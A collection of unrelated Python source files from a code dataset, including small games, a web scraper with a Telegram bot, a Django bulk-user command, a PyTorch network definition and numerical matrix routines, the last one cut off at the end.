+{"seq_id":"277552972","text":"import threading\nfrom youtupi.modules import local, youtube\n \nvideoUrlLock = threading.RLock()\n\ndef prepareVideo(video):\n with videoUrlLock: \n if not video.url:\n url = local.getUrl(video.data)\n if not url:\n url = youtube.getUrl(video.data)\n video.url = url","sub_path":"youtupi/modules/videoUrl.py","file_name":"videoUrl.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"264601949","text":"#!/usr/bin/env python\n\ndef setup():\n import os, subprocess, datetime\n if os.path.exists(os.path.join(os.getcwd(), \"setup.log\")):\n print(\"'setup.log' exists. Typescript implementation setup correctly\")\n return\n\n print(\"Need to install nodejs & npm\")\n with open('setup.log', 'w') as logFile:\n logFile.write(\"# This is an autogenerated file made by 'run.py' on {}\\n\".format(datetime.datetime.now()))\n logFile.write(\"# => DO NOT DELETE THIS FILE OR SETUP WILL BE CALLED AGAIN\\n\")\n logFile.flush()\n subprocess.call([\"npm\", \"install\"], stdout = logFile, stderr = logFile)\n logFile.flush()\n logFile.write(\"\\n# Setup completed on {}\".format(datetime.datetime.now()))\n #end logFile\n#end run\n\ndef build():\n print(\"No build needed for ts-node\")\n#end run\n\ndef run(cmd_args):\n import subprocess\n process_args = [\"node\", \"-r\", \"ts-node/register\", \"program.ts\"] + cmd_args\n retcode = subprocess.call(process_args)\n if retcode != 0:\n raise RuntimeError(\"Program run returned non-zero exit code\")\n#end run\n\nif __name__==\"__main__\":\n import sys, os\n\n setup()\n build()\n if os.path.basename(sys.argv[0]) == os.path.basename(__file__):\n run(sys.argv[1:])\n# end main","sub_path":"ts-node/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"649278834","text":"#!/usr/bin/env python3\nimport pgzrun\nimport pytmx\nimport pygame\n\n\n# logger = logging.getLogger('towerdef')\n\nWIDTH = 1152\nHEIGHT = 1024\nTITLE = \"tower defence\"\n\n\nclass Map:\n def __init__(self, filename):\n tile_map = pytmx.load_pygame(filename, pixelalpha=True)\n self.width = tile_map.width * tile_map.tilewidth\n self.height = tile_map.height * tile_map.tileheight\n print(tile_map)\n self.tmxdata = tile_map\n\n def render(self, surface):\n print(2)\n for layer in self.tmxdata.visible_layers:\n if isinstance(layer, pytmx.TiledTileLayer):\n for x, y, gid, in layer:\n print(x, y, gid)\n tile = self.tmxdata.get_tile_image_by_gid(gid)\n print(tile)\n if tile:\n surface.blit(tile, (x * self.tmxdata.tilewidth, y * self.tmxdata.tileheight))\n\n def make_map(self):\n print(\"3\")\n temp_surface = pygame.Surface((self.width, self.height))\n self.render(temp_surface)\n return temp_surface\n\n\nclass Game:\n def __init__(self):\n pygame.init()\n pygame.mixer.init()\n self.screen = pygame.display.set_mode((WIDTH, HEIGHT))\n pygame.display.set_caption(TITLE)\n self.clock = pygame.time.Clock()\n self.running = True\n self.map = Map('maps/map.tmx')\n print(\"4\")\n self.map_img = self.map.make_map()\n self.map_rect = self.map_img.get_rect()\n\n #def load_data(self):\n #game_folder = os.path.dirname(__file__)\n # map_folder = os.path.join(game_folder, 'maps')\n\n def draw(self):\n print(\"1\")\n self.screen.blit(self.map_img, self.map_rect)\n\n\ng = Game()\ng.draw()\npgzrun.go()","sub_path":"tileset.py","file_name":"tileset.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"579466426","text":"import os\nimport subprocess\nimport sys\n\nimport pkg_resources\n\n\"\"\"\nIt has been noted several times in the setuptools \"forums\", that that 3rd-party tools shouldn't\n be using pip._internal.get_installed_distributions, instead they should be using\npkg_resources.working_set ... which is all well and good, except get_installed_distributions\nallows filtering of editables packages, while working_set does not. Given the likely-hood\nthat pip._internals will change and break code, i've replicated some of the package filtering code.\n\n\nIn a newly created virtual-env\n> pip list\npip 18.0\npkg-resources 0.0.0\nsetuptools 40.4.3\nwheel 0.32.0\n\nWhich matches what pkg_resources.working_set returns.\nWe should avoid removing these packages (it will likely break the virtualenv).\n\n\"\"\"\n\n# Some platforms may list these packages, they should always be ignored.\n# From pip/_internal/utils/compat.py#193\nSTDLIB_PKGS = {\"python\", \"wsgiref\", \"argparse\"}\n\n# Minimium packages for a virtualenv (they shouldn't be uninstalled)\nVIRTUALENV_PKGS = {\"pip\", \"pkg-resources\", \"setuptools\", \"wheel\"}\n\n# packages that are super common in a virtualenv\nCOMMON_PKGS = {\"six\", \"click\", \"setupmeta\"}\n\n# packages required running piptools (us)\nPIPTOOLS_PKGS = {\"piptools\", \"click\", \"setupmeta\", \"requirements-parser\"}\n\n\ndef canonical(path, resolve_symlinks=True):\n \"\"\"\n Convert a path to its canonical, case-normalized, absolute version.\n \"\"\"\n path = os.path.expanduser(path)\n if resolve_symlinks:\n path = os.path.realpath(path)\n else:\n path = os.path.abspath(path)\n return os.path.normcase(path)\n\n\n# end\n\n\ndef dist_is_editable(dist):\n \"\"\"Is distribution an editable install?\"\"\"\n\n for path_item in sys.path:\n egg_link = os.path.join(path_item, dist.project_name + \".egg-link\")\n if os.path.isfile(egg_link):\n return True\n return False\n\n\n# end\n\n\ndef filter_by_lambdas(x, Funs):\n for f in Funs:\n if not f(x):\n return False\n return True\n\n\n# end\n\n\ndef filter_none(x):\n return True\n\n\ndef _not(f):\n return lambda x: not f(x)\n\n\ndef _ignore(ignore):\n return lambda x: x.key not in ignore\n\n\ndef _in_location(locations):\n if not isinstance(locations, list):\n locations = [canonical(locations)]\n else:\n locations = [canonical(p) for p in locations]\n\n return lambda x: any(canonical(x.location).startswith(p) for p in locations)\n\n\n# end\n\n\nSYS_PREFIX = canonical(sys.prefix)\n\n\ndef running_under_virtualenv() -> bool:\n \"\"\"\n Return True if we're running inside a virtualenv, False otherwise.\n \"\"\"\n if hasattr(sys, \"real_prefix\"):\n return True\n elif sys.prefix != getattr(sys, \"base_prefix\", sys.prefix):\n return True\n\n return False\n\n\ndef virtualenv_no_global() -> bool:\n \"\"\"\n Return True if in a venv and no system site packages.\n \"\"\"\n # this mirrors the logic in virtualenv.py for locating the\n # no-global-site-packages.txt file\n site_mod_dir = os.path.dirname(os.path.abspath(site.__file__))\n no_global_file = os.path.join(site_mod_dir, \"no-global-site-packages.txt\")\n if running_under_virtualenv() and os.path.isfile(no_global_file):\n return True\n else:\n return False\n\n\ndef _in_virtualenv():\n if running_under_virtualenv():\n return lambda x: canonical(x.location).startswith(SYS_PREFIX) or dist_is_editable(x)\n else:\n return filter_none\n\n\n# end\n\n\ndef get_distributions(ignore=None, editable=None, location=None, virtualenv=None):\n \"\"\"\n Get a list of Distributions of installed packages\n None - don't use that filter\n ignore: an in'able container of dist names to ignore\n editable: True = only editable, False = only not editable\n location: container of paths to test if dist.location is in\n\n based on pip/_internal/utils/misc.py#340\n \"\"\"\n\n filters = []\n\n if ignore is not None:\n filters.append(_ignore(ignore))\n\n if editable is not None:\n if editable:\n filters.append(dist_is_editable)\n else:\n filters.append(_not(dist_is_editable))\n # end\n\n if location is not None:\n filters.append(_in_location(location))\n\n if virtualenv:\n filters.append(_in_virtualenv())\n\n return get_filtered_distributions(*filters)\n\n\n# end\n\n\ndef get_filtered_distributions(*filters):\n if not filters:\n filters = [filter_none]\n elif len(filters) == 1 and isinstance(filters[0], list):\n filters = filters[0]\n # end\n\n return sorted(\n [\n d\n for d in pkg_resources.working_set\n if d.key not in STDLIB_PKGS and filter_by_lambdas(d, filters)\n ],\n key=lambda x: x.key,\n )\n\n\n# end\n\n\ndef get_package_names(**kwargs):\n return [p.key for p in get_distributions(**kwargs)]\n\n\ndef distributions():\n return {d.key: d for d in get_distributions()}\n\n\ndef what_installed(pkgspec):\n try:\n reqs = pkg_resources.Requirement.parse(pkgspec)\n return {d.key for d in pkg_resources.working_set.resolve([reqs])}\n except Exception:\n return set()\n\n\n# end\n\n\ndef extras_installed(d):\n try:\n base = what_installed(d.key)\n extras = []\n for extra in d.extras:\n extra_diff = what_installed(f\"{d.key}[{extra}]\") - base\n if extra_diff:\n extras.append(extra)\n return extras\n except Exception:\n return []\n\n\n# end\n\n\ndef fix_location(path):\n newp = os.path.relpath(path)\n if newp.startswith(\"..\"):\n return path\n return newp\n\n\n# end\n\n\ndef make_spec(d):\n extras = extras_installed(d)\n extras_spec = \"[{}]\".format(\",\".join(extras)) if extras else \"\"\n if dist_is_editable(d):\n location = fix_location(d.location)\n return f\"-e {location}{extras_spec}\"\n else:\n return f\"{d.project_name}=={d.version}{extras_spec}\"\n\n\n# end\n\n\n###############################################\n\n\nclass DataObject(dict):\n def __init__(self, *args, **kwargs):\n super().__init__(kwargs)\n\n def __getattr__(self, name):\n if name in self:\n return self[name]\n else:\n raise AttributeError(f\"No such attribute: {name}\")\n\n # end\n\n def __setattr__(self, name, value):\n self[name] = value\n\n def __delattr__(self, name):\n if name in self:\n del self[name]\n\n # end\n\n\n# end\n\n\nclass DevPackage(DataObject):\n def __init__(self, path):\n super().__init__()\n\n self.path = path\n\n self.name = self.run([\"python\", \"setup.py\", \"--name\"], stdout=\"capture\")\n self.dist = None\n\n # end\n\n def run(self, cmdlist, check=False, stdout=None):\n if stdout == \"capture\":\n out = subprocess.run(\n cmdlist, cwd=self.path, check=True, encoding=\"utf-8\", stdout=subprocess.PIPE\n )\n return out.stdout.strip()\n if stdout == \"stdout\" or stdout == \"print\":\n subprocess.run(cmdlist, cwd=self.path, check=check)\n else:\n subprocess.run(cmdlist, cwd=self.path, check=check, stdout=subprocess.DEVNULL)\n # end\n return True\n\n # end\n\n\n# end\n\n\nclass Context(DataObject):\n def __init__(self, path, exclude_pkg=None, exclude_dir=None):\n super().__init__(path=path)\n\n self.out = None\n self.exclude_pkg = [] if exclude_pkg is None else exclude_pkg\n self.exclude_dir = [] if exclude_dir is None else exclude_dir\n self.installed = distributions()\n\n # end\n\n def find_packages(self):\n for x in os.listdir(self.path):\n if x.startswith(\".\") or x in self.exclude_dir:\n continue\n pack_path = os.path.join(self.path, x)\n if os.path.isdir(pack_path):\n setup_path = os.path.join(pack_path, \"setup.py\")\n if os.path.isfile(setup_path):\n new_pack = self._make_package(pack_path)\n if new_pack.name not in self.exclude_pkg:\n yield new_pack\n # end\n # end\n # end\n\n # end\n\n def _make_package(self, path):\n pack = DevPackage(path)\n if pack.name in self.installed:\n pack.dist = self.installed[pack.name]\n\n return pack\n\n # end\n\n\n# end\n","sub_path":"src/more/venv/dists.py","file_name":"dists.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"603406305","text":"#!/usr/bin/env python3\n\nimport requests\nimport telebot\nfrom bs4 import BeautifulSoup\nfrom pytils import dt\nimport datetime\n\nCNANNEL_NAME = \"@\"\nTOKEN = ''\nbot = telebot.TeleBot(TOKEN)\n\n\nsource_url = 'https://www.avito.ru/sverdlovskaya_oblast/noutbuki?user=1'\nperiod = 30\nMAX_PRICE = 20000\ntoday = datetime.datetime.strftime(datetime.datetime.now(), \"%d\")\nnow = now = datetime.datetime.now()\nnow_minus = now - datetime.timedelta(minutes = period)\ntime_cmp = datetime.datetime.strftime(now_minus, '%H:%M')\n\ndef parse(html):\n soup = BeautifulSoup(html, \"lxml\")\n for link in soup.find_all('div', class_='description'):\n href = link.a['href']\n datereal = link.find_all('div', class_='date c-2')\n datereal = datereal[0].string.strip()\n if datereal.split()[0] == 'Сегодня':\n datereal = str(dt.ru_strftime(u\"%d %B\", inflected=True, date=datetime.datetime.now()) + \" \" + datereal.split()[1])\n if datereal.split()[0] == 'Вчера':\n yesterday = datetime.timedelta(days=1)\n datereal = str(dt.ru_strftime(u\"%d %B\", inflected=True, date=datetime.datetime.now()-yesterday) + \" \" + datereal.split()[1])\n date_time = link.find_all('div', class_='date c-2')\n date_time = date_time[0].string.strip()\n if date_time.split()[0] == 'Сегодня':\n date_time = str(dt.ru_strftime(u\"%d %B\", inflected=True, date=datetime.datetime.now()) + \" \" + date_time.split()[1])\n if date_time.split()[0] == 'Вчера':\n yesterday = datetime.timedelta(days=1)\n date_time = str(dt.ru_strftime(u\"%d %B\", inflected=True, date=datetime.datetime.now()-yesterday) + \" \" + date_time.split()[1])\n price = link.find_all('div', class_='about')\n lower_price = soup.find_all('a', class_='price-lower')\n price = price[0].text\n price = str(price)\n price = (str(price).replace(\" руб.\", \"\"))\n price = price.replace(' ', '')\n price = price.strip()\n price = price.strip()\n try:\n if price:\n price = int(price)\n if int(price) > MAX_PRICE:\n continue\n else:\n price = u'Без цены '\n except ValueError:\n price = u'Без цены '\n d, *m, t = date_time.split(' ')\n if d == today:\n if t >= time_cmp:\n msg_to_channel(\"%s, https://www.avito.ru%s, %s руб.\" %(date_time, href, price))\n\n\ndef get_html():\n all_url = 'https://www.avito.ru/sverdlovskaya_oblast/noutbuki?p={0}&user=1'\n num_pages = get_number_pages()\n responce = requests.get(all_url.format(1))\n for i in range(1, num_pages + 1):\n responce = requests.get(all_url.format(i))\n parse(responce.content)\n\n\ndef get_number_pages():\n page_list = []\n responce = requests.get(source_url)\n page_content = responce.content\n soup = BeautifulSoup(page_content, \"lxml\")\n pagination_page = soup.find_all('a', class_='pagination-page')\n num_pages = pagination_page[-2].string\n return int(num_pages)\n\n\ndef get_all_list():\n get_html()\n\ndef msg_to_channel(*args):\n msg = args\n bot.send_message(CNANNEL_NAME, msg)\n\nif __name__ =='__main__':\n get_all_list()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"584878355","text":"import unicodedata\nimport functools\n\nnfc = functools.partial(unicodedata.normalize, 'NFC')\n\n\nif __name__ == '__main__':\n s1 = 'café'\n s2 = 'cafe\\u0301'\n\n print((s1, s2))\n # ('café', 'café')\n\n print(s1 == s2)\n # False\n\n print(nfc(s1) == nfc(s2))\n # True\n","sub_path":"chapter_05/example_05_27.py","file_name":"example_05_27.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"87485802","text":"#windown part 1\n#hear part 2\n#food part 3\n#snake body grow\n#Border Collisions\n#body collisions\n#Scoring\n\n\nimport turtle\nimport time\nimport random\n\n\ndelay = 0.1\n\n\n#Score\nscore = 0\nhigh_score = 0\n\n# Set up the screen\nwn = turtle.Screen()\nwn.title(\"Snake Game by @TokyoEdtech\")\nwn.bgcolor(\"green\")\nwn.setup(width=600,height= 600)\nwn.tracer(0) #Turn off\n\n\n# Snake head\nhead = turtle.Turtle()\nhead.speed(0)\nhead.shape(\"square\")\nhead.color(\"black\")\nhead.penup()\nhead.goto(0,0)\nhead.direction = \"stop\"\n\n#snake food\nfood = turtle.Turtle()\nfood.speed(0)\nfood.shape(\"circle\")\nfood.color(\"red\")\nfood.penup()\nfood.goto(0,100)\n\n\nsegments = []\n\npen = turtle.Turtle()\npen.speed(0)\npen.shape(\"square\")\npen.color(\"white\")\npen.penup()\npen.hideturtle()\npen.goto(0,260)\npen.write(\"Score: 0 High Score: 0 \" , align =\"center\" , font = (\"Courier\" , 24,\"normal\") ) \n\n\n\n\n\n\n\n\n# Funtions\ndef move():\n if head.direction == \"up\":\n y = head.ycor()\n head.sety(y + 20 )\n\n if head.direction == \"down\":\n y = head.ycor()\n head.sety(y - 20 )\n \n if head.direction == \"left\":\n x = head.xcor()\n head.setx(x - 20 )\n\n if head.direction == \"right\":\n x = head.xcor()\n head.setx(x + 20 )\n\n \ndef go_up():\n if head.direction != \"down\":\n head.direction = \"up\"\n\n \ndef go_down():\n if head.direction != \"up\":\n head.direction = \"down\" \n\ndef go_left():\n if head.direction != \"right\":\n head.direction = \"left\"\n\ndef go_right():\n if head.direction != \"left\":\n head.direction = \"right\" \n\n\n\n#keyboard bindings\nwn.listen()\nwn.onkeypress(go_up, \"w\")\nwn.onkeypress(go_down, \"s\")\nwn.onkeypress(go_left, \"a\")\nwn.onkeypress(go_right, \"d\")\n\n\n#Main game loop\nwhile True:\n wn.update()\n # Check for a collision with the border\n if head.xcor() > 290 or head.xcor()< -290 or head.ycor() > 290 or head.ycor() < -290:\n time.sleep(1)\n head.goto(0,0)\n head.direction = \"stop\" \n \n \n # Hide the segmenst\n for segment in segments:\n segment.goto(1000 , 1000)\n\n segments.clear()\n score = 0\n\n # reset delay\n delay = 0.1\n\n pen.clear()\n pen.write(\"Score: {} High Score: {}\".format(score , high_score ), align= \"center\", font = (\"Courier\" , 24,\"normal\") ) \n\n\n\n\n\n\n\n\n # Check for a collision with the food\n if head.distance(food) < 20:\n # Move the food to random\n x = random.randint(-290,290)\n y = random.randint(-290,290 )\n food.goto(x , y)\n\n # Add a segment\n new_segment = turtle.Turtle()\n new_segment.speed(0)\n new_segment.shape(\"square\")\n new_segment.color(\"grey\")\n new_segment.penup()\n segments.append(new_segment)\n\n\n # Shorten the delay\n delay -= 0.001\n\n\n # increase the score\n score += 10\n\n if score > high_score:\n high_score = score\n pen.clear()\n pen.write(\"Score: {} High Score: {}\".format(score , high_score ), align= \"center\", font = (\"Courier\" , 24,\"normal\") )\n\n # Move the end segments first in revers order\n for index in range(len(segments)-1 , 0 , -1 ):\n x = segments[index - 1].xcor()\n y = segments[index -1].ycor()\n segments[index].goto(x , y )\n # Move segmenst 0 to where the head is\n if len(segments) > 0 :\n x = head.xcor()\n y = head.ycor()\n segments[0].goto(x,y)\n\n\n move()\n\n # Check for head collision with the body segments\n for segment in segments:\n if segment.distance(head) < 20 :\n time.sleep(1)\n head.goto(0 , 0)\n head.direction = \"stop\"\n\n # Hide the segmenst\n for segment in segments:\n segment.goto(1000 , 1000)\n\n segments.clear() \n\n score = 0\n\n # reset delay\n delay = 0.1\n\n\n pen.clear()\n pen.write(\"Score: {} High Score: {}\".format(score , high_score ), align= \"center\", font = (\"Courier\" , 24,\"normal\") )\n\n\n\n time.sleep(delay)\n\n\nwn.mainloop()","sub_path":"Snake Game/Snake_Game1.py","file_name":"Snake_Game1.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"410822203","text":"import os, sys\nimport re\ndef getpythonenv(options,buildout):\n \"\"\"Where python looks to get its cflags.\"\"\"\n if os.uname()[0] == 'Darwin':\n cwd = os.getcwd()\n os.chdir(options['compile-directory'])\n os.system('autoconf -v -f')\n os.chdir(cwd)\n # holly hack to make cflags/ldflags from minitage always in compilation statements\n os.environ['OPT'] = os.environ['CFLAGS']\n\n\ndef patchincludes(options,buildout):\n \"\"\"Where python looks to get its cflags.\"\"\"\n u, v = os.uname()[0],os.uname()[3]\n if u == 'Darwin' and v == '9.8.0':\n cmyfile = [l for l in open(\n os.path.join(\n options['compile-directory'],\n 'pyconfig.h'),\n 'r'\n ).readlines() if not 'SETPGRP_HAVE_ARG' in l]\n cmyfile = open(\n os.path.join(\n options['compile-directory'],\n 'pyconfig.h'),\n 'w'\n ).writelines(cmyfile + ['\\n#define SETPGRP_HAVE_ARG 1\\n'])\n# vim:set ts=4 sts=4 et :\n","sub_path":"hooks/setenv.py","file_name":"setenv.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"334365432","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass FullyConnected(nn.Module):\n \"\"\"A generic fully connected network with ReLu activations, biases and no activation function for the output\"\"\"\n def __init__(self,architecture):\n \"\"\"architecture needs to be a list that describes the architecture of the network, e.g. [4,16,16,2] is a network with 4 inputs, 2 outputs and two hidden layers with 16 neurons each\"\"\"\n super(FullyConnected, self).__init__()\n self.layers = nn.ModuleList()\n for i in range(0,len(architecture)-1):\n self.layers.append(nn.Linear(architecture[i],architecture[i+1],bias=True))\n\n # Called with either one element to determine next action, or a batch\n # during optimization. Returns tensor([[left0exp,right0exp]...]).\n def forward(self, x):\n for layer in self.layers[:-1]:\n x = F.relu(layer(x))\n # no ReLu activation in the output layer\n x = self.layers[-1](x)\n return x\n\n # this function returns all intermediate results and is needed for the robust and data based normalization methods for conversion to a spiking network\n def forward_return_all(self, x):\n all_neurons_output = []\n for i in range(0,len(self.layers)-1):\n x = F.relu(self.layers[i](x))\n all_neurons_output.append(x)\n # no ReLu activation in the output layer\n x = self.layers[-1](x)\n all_neurons_output.append(x)\n return all_neurons_output\n\n","sub_path":"Code/NeuralNetworks.py","file_name":"NeuralNetworks.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"212876863","text":"import torch\n\nimport numpy as np\n\n\ndef element_wise_mul_2(input1, input2):\n\n feature_list = []\n for feature_1, feature_2 in zip(input1, input2):\n feature_2 = feature_2.unsqueeze(1).expand_as(feature_1)\n # print(\"feature 1 \", feature_1)\n # print(\"feature 2 \", feature_2)\n feature = feature_1 * feature_2\n # print(\"feature \", feature)\n feature_list.append(feature.unsqueeze(0))\n output = torch.cat(feature_list, 0)\n\n return output\n\n\nx = torch.arange(1, 9).view(2, 4)\ny = torch.LongTensor(4, 2).random_(0, 10)\n#\n# y = torch.arange(1, 41).view(2, 4, 5)\n# # print(x)\n# # print(y)\n# # z = torch.cat((x, y), dim=0)\n# # print(z)\n# #\n# # print(x)\n# # print(x.transpose(1, 0))\n# # print(x.permute(1, 0, 2))\n# from HAN.src.utils import matrix_mul, element_wise_mul\n#\n#\n# score = torch.arange(1, 9).view(2, 4) # [ src sent len, batch size]\n# # y = torch.LongTensor(1, 3, 5).random_(0, 10)\n#\n# values = torch.arange(1, 41).view(2, 4, 5) # [ src sent len, batch size, enc hid dim]\n\n# print(\"v\")\n# print(values.shape)\n# print(values)\n# print(\".....\")\n#\n# print(\"score\")\n# print(score.shape)\n# print(score)\n# print(\".....\")\n#\n#\n# z = element_wise_mul(values, score)\n# print(\"z\")\n# print(z.shape)\n# print(z)\n\n\n\nprint(\"ATTENTION 2\")\n\n# attention = torch.arange(1, 9).view(4, 2) # [batch size, src sent len]\n# enccoder_outputs = torch.arange(1, 41).view(4, 2, 5) # [batch size, src sent len, enc dim]\n# article_encode = torch.arange(1, 21).view(4, 5) # [batch size, src sent len, enc dim]\n#\n#\n# arrays = [np.random.randn(3, 4) for _ in range(2)]\n# x = np.stack(arrays, axis=0)\n# print(x)\n# print(\"...................\")\n# x += 1\n#\n# print(x)\n# acc = 0\n# a = [20, 24, 15]\n# b = [30, 30, 20]\n# for i in range(len(a)):\n# acc += a[i] / b[i]\n# print(acc / len(a))\n# print(sum(a) / sum(b))\n#\n#\n# mat = [[nan, nan]]\n# b = np.isnan(mat)\n# for a in b:\n# for x in a:\n# if x:\n# print(\"nan found\")\n# break\n# break\n\n# print(\"article encode\")\n# print(article_encode)\n# print(\"....\")\n# article_max_length_word = 4\n# article_max_length_sentences = 2\n#\n# article_encode = [sentences[:article_max_length_word] for sentences in article_encode]\n# print(article_encode)\n\n# f = torch.bmm(attention.unsqueeze(1), enccoder_outputs)\n# print(\"attention\")\n# print(attention.shape)\n# print(attention)\n# print(\".....\")\n#\n# print(\"encoder outputs\")\n# print(enccoder_outputs.shape)\n# print(enccoder_outputs)\n# print(\".....\")\n#\n# print(\"......\")\n# print(f)\n# print(f.shape)\n# print(\"mul 2..........\")\n# n = element_wise_mul_2(enccoder_outputs, attention)\n# print(n)\n# print(n.shape)\n\n\nxe = torch.randn(3, 2)\nprint(xe)\n#\n#\n# g = torch.tensor([[nan, nan], [nan, nan],\n# [nan, nan]])\n# h = torch.tensor([[2, 3], [4, 5],\n# [1, 2]])\n# print(isinstance(g[0][0].item(), int))\n# print(isinstance(g[0][0].item(), float))\n# print(int(g[0][0]))\n# print(isinstance(h[0][0].item(), int))\n# print(isinstance(h[0][0].item(), float))","sub_path":"HAN_speech_act/src/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"127815937","text":"from django.contrib.auth.models import User\nfrom django.core.management.base import BaseCommand\nimport pandas as pd\nfrom pathlib import Path\nfrom course.models import Class\n\n\nclass Command(BaseCommand):\n help = 'Create users from Blackboard file'\n\n def add_arguments(self, parser):\n parser.add_argument('filename',\n type=str,\n help='Indicates the file to be used')\n parser.add_argument(\n 'course',\n type=str,\n help='Indicates the name of the course to add the students')\n\n def handle(self, *args, **kwargs):\n filename = Path(kwargs['filename'])\n coursename = kwargs['course']\n if 'csv' in filename.suffix:\n df = pd.read_csv(filename)\n elif 'xls' in filename.suffix:\n df = pd.read_excel(filename)\n else:\n return\n course = Class.objects.get(name=coursename)\n for user_data in df.iterrows():\n first_name = user_data[1]['Nome']\n try:\n last_name = user_data[1]['Sobrenome']\n except:\n first_name = first_name.split(' ')[0]\n last_name = ' '.join(first_name.split(' ')[1:])\n username = user_data[1]['Nome do usuário']\n email = username + '@al.insper.edu.br'\n users_same_name = User.objects.filter(username=username)\n if not users_same_name:\n print('Creating user: {0}'.format(username))\n User.objects.create_user(username=username,\n email=email,\n password=username,\n first_name=first_name,\n last_name=last_name)\n user = User.objects.get(username=username)\n if user not in course.students.all():\n print('Adding {0} in {1}'.format(username, coursename))\n course.students.add(user)\n course.save()\n","sub_path":"core/management/commands/batch_add_users.py","file_name":"batch_add_users.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"381366980","text":"n,m,h=[int(i) for i in input().split()]\na=[int(i) for i in input().split()]\nb=[int(i) for i in input().split()]\nc=[[int(i) for i in input().split()] for j in range(n)]\n\nfor i in range(n):\n target = b[i]\n for j in range(m):\n if c[i][j]==0: continue\n if a[j] < target: continue\n c[i][j] = target\nfor j in range(m):\n target = a[j]\n for i in range(n):\n if c[i][j]==0: continue\n if b[i] < target: continue\n c[i][j] = target\nfor row in c:\n for col in row:\n print(col,end=' ')\n print()\n","sub_path":"codeforces/normal/1100/codeforces1153b.py","file_name":"codeforces1153b.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"206605557","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport random\nfrom functools import reduce\nfrom math import pow, log\n\nclass Vector:\n @staticmethod\n def sub(a,b):\n if (len(a)!=len(b)):\n raise Exception(\"Vector sub error: wrong sizes\")\n return [i-j for i,j in zip(a,b)]\n\n @staticmethod\n def sum(a,b):\n if (len(a)!=len(b)):\n raise Exception(\"Vector sub error: wrong sizes\")\n return [i+j for i,j in zip(a,b)]\n\n @staticmethod\n def compare(a, eps):\n for elem in a:\n if(abs(elem) > eps):\n return 1\n return 0\n\n @staticmethod\n def norm(a):\n return max([abs(i) for i in a])\n\nclass Matrix:\n\n @staticmethod\n def _gauss(matrix, f):\n eps = pow(10, -5)\n x = list(f)\n n = 0\n tmp = [0 for _ in range(len(x))]\n\n while(Vector.compare(Vector.sub(x, tmp), eps) > 0):\n tmp = list(x)\n for i in range(len(x)):\n sum = 0\n for j in range(len(x)):\n if j != i:\n sum += matrix[i][j] * x[j] / matrix[i][i]\n x[i] = f[i] / matrix[i][i] - sum\n n = n + 1\n\n return x, n\n\n @staticmethod\n def _jacobi(matrix, f):\n tMatrix = list(list(i) for i in matrix)\n tF = list(f)\n eps = pow(10, -5)\n n = 0\n tmp = [0 for _ in range(len(f))]\n for i in range(len(matrix)):\n for j in range(len(matrix[i])):\n if(i != j):\n tMatrix[i][j] /= tMatrix[i][i]\n tF[i] /= tMatrix[i][i]\n tMatrix[i][i] = 0\n\n x = list(tF)\n\n normB = Matrix.norm(tMatrix)\n normF = Vector.norm(tF)\n print(\"Норма B: \" + str(normB))\n print(\"Норма x0: \" + str(normF))\n print(\"Оценка количества итераций: n <= \" + str(log(eps * (1 - normB) / normF) / log(normB) + 1))\n\n while (Vector.compare(Vector.sub(x, tmp), eps) > 0):\n tmp = list(x)\n for i in range(len(matrix)):\n sum = 0\n for j in range(len(matrix)):\n sum += tMatrix[i][j] * tmp[j]\n x[i] = tF[i] - sum\n n = n + 1\n\n return tMatrix, x, n\n\n #транспонирование\n @staticmethod\n def transpose(matrix):\n return [[matrix[j][i] for j in range(len(matrix[i]))] for i in range(len(matrix))]\n\n @staticmethod\n def norm(matrix):\n return max([sum([abs(i) for i in line]) for line in matrix])\n\n #умножение матриц\n @staticmethod\n def mul(a,b):\n if (len(a[0])!=len(b)):\n raise Exception(\"Matrix mul error: wrong sizes\")\n return [[(sum(a[i][k]*b[k][j] for k in range(len(a)))) for j in range(len(a[i]))] for i in range(len(a))]\n\n #умножение матрицы на столбец\n @staticmethod\n def mulVector(matrix,vector):\n if (len(matrix[0])!=len(vector)):\n raise Exception(\"Matrix mulVector error: wrong sizes\")\n return [(sum([matrix[i][j]*vector[j] for j in range(len(vector))])) for i in range(len(matrix))] \n\n #сумма матриц\n @staticmethod\n def sum(a,b):\n if (len(a)!= len(b) or len(a[0]) != len(b[0])): \n raise Exception(\"Matrix sub error: wrond size\") \n return [[a[i][j]+b[i][j] for j in range(len(a[i]))]for i in range(len(a))]\n\n #разность матриц\n @staticmethod\n def sub(a,b):\n if (len(a)!= len(b) or len(a[0]) != len(b[0])): \n raise Exception(\"Matrix sub error: wrond size\") \n return [[a[i][j]-b[i][j] for j in range(len(a[i]))]for i in range(len(a))]\n\n @staticmethod\n def devide(a,con):\n return [[a[i][j] / con for j in 